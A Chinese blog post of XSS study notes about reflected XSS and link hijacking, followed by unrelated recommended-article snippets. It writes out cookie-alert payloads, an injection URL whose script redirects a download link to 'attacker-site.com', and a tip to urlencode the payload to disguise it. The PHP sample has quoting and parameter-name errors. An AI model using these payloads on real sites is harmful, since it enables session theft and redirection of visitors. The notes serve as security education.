所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的。一般都是获取用户的Cookie(能够还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击。传播XSS蠕虫等。

整体分为三类:

Dom-Based(Dom式)

Stroed-Based(存储式)

Reflex-Based(反射式)

简单举一个场景:

在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from"> 

这里的valuefrom 就是来自用户的输入。假设用户输入的不是valuefrom 的字符串,而是其它的代码就可能出现用户输入的数据被运行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:

<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">

这样就是显示一个含实用户cookie的提示框,假设输入再改改:

" onfocus="alert(document.cookie); 那就变成了:

<input type="text" name="address1" value="" onfocus="alert(document.cookie); "> 

这样在onfocus事件触发后,js 代码就会被运行,当然攻击者肯定不会傻的把提示框弹出来。这里仅仅是证明能够获取到数据。hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法通常是:

在目标网页嵌入一段遮掩给的代码(一般都是在比較隐蔽的位置,或者直接就是在结尾):



1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):

原来server页面是

<?php
$name = $_GET['name']; /* 在GET 參数中获取username */
echo "Welcome $name <br>"; /* 这里网页中打印变量 */
echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */
? >

假设用户在URL输入:

index.php?id=ByteWay<script>alert('attacked');</script>

这样在用户链接就会生成这样html代码:

Welcome ByteWay <script>alert('attacked');</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,可是你会发现这还不是点击劫持啊? 呵呵,不要着急,仅仅要你明确了这个道理,相信你就是猥琐的想到直接在那里加段js 直接改动掉那个超链接就Ok了,以下是详细的办法:

假设用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>



返回到用户的界面就是这种:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>

可是由于非常快就会运行window.load的方法。这样后面的劫持的URL就发生了:

Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->

当然这里的看得URL太过明显了,咋办? 只要加上urlencode()之类的功能将起到模糊视听的作用。

版权声明:本文博客原创文章,博客,未经同意,不得转载。

XSS学习笔记(一个)-点击劫持的更多相关文章

  1. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  2. 安全测试4_客户端的安全漏洞(XSS、CSRF、点击劫持、URL跳转)

    那个fanh前面学习的都是基础,现在开始正式学习下安全的知识,这一章主要讲解客户端常见的安全漏洞. 看到这个不错,给大家记一下: 1.常见的安全事件: 2.XSS(跨站脚本),英文全称:Cross S ...

  3. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  4. jQuery 学习笔记2 点击时弹出一个对话框

    上次学习的是页面加载完成后弹出一个警告框,这里我们改为当用户点击后弹出一个警告框. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Trans ...

  5. jQuery 学习笔记3 点击弹出一个div并允许拖拽移动

    这里我看了下http://qings.blog.51cto.com/4857138/998878/ 的文章,感谢他的分享. 首先我们有一个a标签和一个div,div默认是不显示的,当用户点击时改为显示 ...

  6. XSS学习笔记

    本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结 常见的XSS攻击主要用于1.网络钓鱼,盗用用户账号2.窃取cookies 非httponly情况下,读取docume ...

  7. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  8. Git学习笔记——一个NB的分布式版本控制系统

    1. 命令: git init           创建新仓库 (在一个空文件下然后执行命令) git clone  + 路径      检出仓库,从本地或从服务器上 git status     查 ...

  9. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

随机推荐

  1. Mono for Android 初学遇到的问题

    1.搭建开发环境: 在win7系统中,VS2012 可以用 C# 开发Android 应用程序,mono for andriod 破解成功. 在win server 2008 系统中 破解不成功,具体 ...

  2. ABP启动配置

    ABP启动配置   返回ABP系列 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)”的简称. ASP.NET Boilerplate是一个用最佳实践和流行 ...

  3. Swift - 搜索条(UISearchBar)的用法

    1,搜索条Options属性还可设置如下功能样式: Shows Search Results Button:勾选后,搜索框右边显示一个圆形向下的按钮,单击会发送特殊事件. Shows Bookmark ...

  4. windows时间函数

    介绍        我们在衡量一个函数运行时间,或者判断一个算法的时间效率,或者在程序中我们需要一个定时器,定时执 行一个特定的操作,比如在多媒体中,比如在游戏中等,都会用到时间函数.还比如我们通过记 ...

  5. BestCoder Round #3HDU 4907

    1. HDU 4907:http://acm.hdu.edu.cn/showproblem.php?pid=4907 中文题我就不说题意了,直接说解题思路吧! ① 第一种思路就是我比赛时的思路,将a数 ...

  6. Bootstrapping (compilers) - Wikipedia, the free encyclopedia

    Bootstrapping (compilers) - Wikipedia, the free encyclopedia Bootstrapping (compilers)

  7. 8592 KMP算法

    8592 KMP算法 时间限制:1000MS  内存限制:1000K 题型: 编程题   语言: 无限制 描写叙述 用KMP算法对主串和模式串进行模式匹配. 本题目给出部分代码.请补全内容. #inc ...

  8. Apache Lucene

    1.Lucene  -全文搜索引擎 Apache Lucene 是一个基于Java的全文搜索引擎,利用它能够轻易的为Java软件添�全文搜索引擎的功能. Lucene最重要的工作是替文件的每个字索引, ...

  9. Codeforces Round #309 (Div. 2) C

    题意: 就是给出总共同拥有k种颜色.每种颜色有ki种,排列必须满足第i+1种的最后一种颜色必须在第i种最后一种颜色的后面,其它颜色任意.总共同拥有多少种排列点的方法. 分析: 如果d[i]表示前i种的 ...

  10. [Xcode]SVN的使用

    当发生冲突时: (p)postpone: -mark the conflict be resolved later 保持冲突,手动修改源文件解决冲突 (df)diff-full: -show all ...